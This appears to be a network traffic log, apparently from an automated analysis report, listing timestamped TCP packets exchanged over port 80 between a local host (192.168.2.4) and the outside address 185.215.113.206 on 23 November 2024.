Nov 23, 2024 17:44:36.867396116 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.867449999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.867455959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.867479086 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.867496014 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.867532969 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.935594082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.935612917 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.935625076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.935734034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.935775042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.935787916 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.935837984 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.935905933 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.935908079 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.935947895 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.936676979 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.936742067 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.936753988 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.936753988 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.936785936 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.936803102 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.936810017 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.936845064 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.937592030 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.937613010 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.937625885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.937652111 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.937694073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.937704086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.937750101 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.938524961 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.938550949 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.938561916 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.938587904 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.938613892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.938683987 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.938735962 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.939439058 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.939460039 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.939471006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.939502001 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.939533949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.939584017 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.939634085 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.940340996 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.940366983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.940378904 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.940397024 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.940412998 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.940479994 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.940540075 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.941288948 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.941329002 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.941340923 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.941351891 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.941369057 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.941385031 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.941396952 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.941438913 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.942173004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.942228079 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.942228079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.942248106 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.942276955 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.942287922 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.942320108 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.943082094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.943130016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.943135023 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.943145037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.943157911 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.943171978 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.943186998 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.943212032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.944001913 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.944032907 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.944046021 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.944062948 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.944087029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.944103003 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.944142103 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.944920063 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.944956064 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.944967985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.944973946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.944988966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.945013046 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.945039988 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.945089102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.945799112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.945856094 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.007184029 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.007220030 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.007234097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.007255077 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.007287025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.007339954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.007533073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.007579088 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.007594109 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.007602930 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.007632017 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.007647038 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.057754993 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.057782888 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.057795048 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.057878971 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.057986021 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.058038950 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.058075905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.058089972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.058103085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.058120966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.058146954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.059070110 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.059142113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.059142113 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.059159040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.059174061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.059182882 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.059201956 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.059223890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.059853077 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.059887886 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.059901953 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.059910059 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.059936047 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.060507059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.060545921 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.060555935 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.060561895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.060587883 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.060605049 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.060636044 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.060683012 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.061455011 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.061496019 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.061507940 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.061518908 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.061522007 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.061542988 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.061584949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.062374115 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.062412977 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.062437057 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.062441111 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.062469006 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.062488079 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.062505960 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.062558889 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.063407898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.063426018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.063441038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.063456059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.063471079 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.063505888 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.063523054 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.064182043 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.064240932 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.064251900 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.064268112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.064282894 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.064341068 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.065113068 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.065162897 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.065167904 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.065177917 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.065210104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.065239906 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.065263033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.065318108 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.066015959 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.066088915 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.066108942 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.066123009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.066138983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.066169977 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.066220045 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.067003965 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.067045927 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.067060947 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.067061901 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.067090988 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.067107916 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.067157030 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.067214966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.068103075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.068156958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.068166018 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.068203926 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.068212986 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.068228960 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.068263054 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.068294048 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.068761110 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.068825960 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.068836927 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.068851948 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.068866968 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.068887949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.068914890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.138185024 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.138223886 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.138238907 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.138256073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.138267040 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.138283968 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.138328075 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.138375044 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.138422966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.138672113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.138720036 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.138720036 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.138739109 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.138761044 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.138767958 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.138792992 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.138808012 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.139317989 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.139363050 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.139374971 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.139375925 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.139411926 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.139427900 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.139458895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.139525890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.140389919 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.140403032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.140414000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.140425920 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.140451908 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.140482903 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.141251087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.141283035 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.141294956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.141320944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.141323090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.141343117 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.141383886 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.142091036 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.142126083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.142138958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.142148018 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.142159939 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.142184019 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.142241001 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.142292023 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.142957926 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.142997026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.143012047 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.143014908 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.143044949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.143059969 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.143102884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.143156052 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.143906116 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.143956900 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.143959999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.143973112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.144001007 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.144017935 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.144043922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.144089937 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.144834042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.144908905 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.144956112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.144970894 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.144982100 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.145009041 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.145034075 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.145899057 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.145953894 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.145957947 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.145975113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.146003962 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.146018982 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.146337032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.146390915 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.147103071 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.147125006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.147135019 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.147176981 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.147180080 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.147224903 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.147794962 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.147808075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.147819996 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.147864103 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.147882938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.208790064 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.208806038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.208827019 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.208839893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.208901882 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.208993912 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.209090948 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.209153891 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.209155083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.209172010 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.209212065 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.209244013 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.259135008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.259212017 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.259212971 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.259227991 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.259262085 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.259282112 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.259296894 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.259342909 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.259521008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.259572983 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.259599924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.259623051 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.259644032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.259670019 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.259713888 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.260236025 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.260291100 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.260303020 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.260354996 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.260409117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.260443926 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.260458946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.261178970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.261234045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.261238098 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.261248112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.261275053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.261297941 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.261399031 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.261451960 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.262099028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.262166977 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.262171984 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.262187958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.262221098 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.262253046 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.262269974 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.262334108 CET	49745	80	192.168.2.4	185.215.113.206
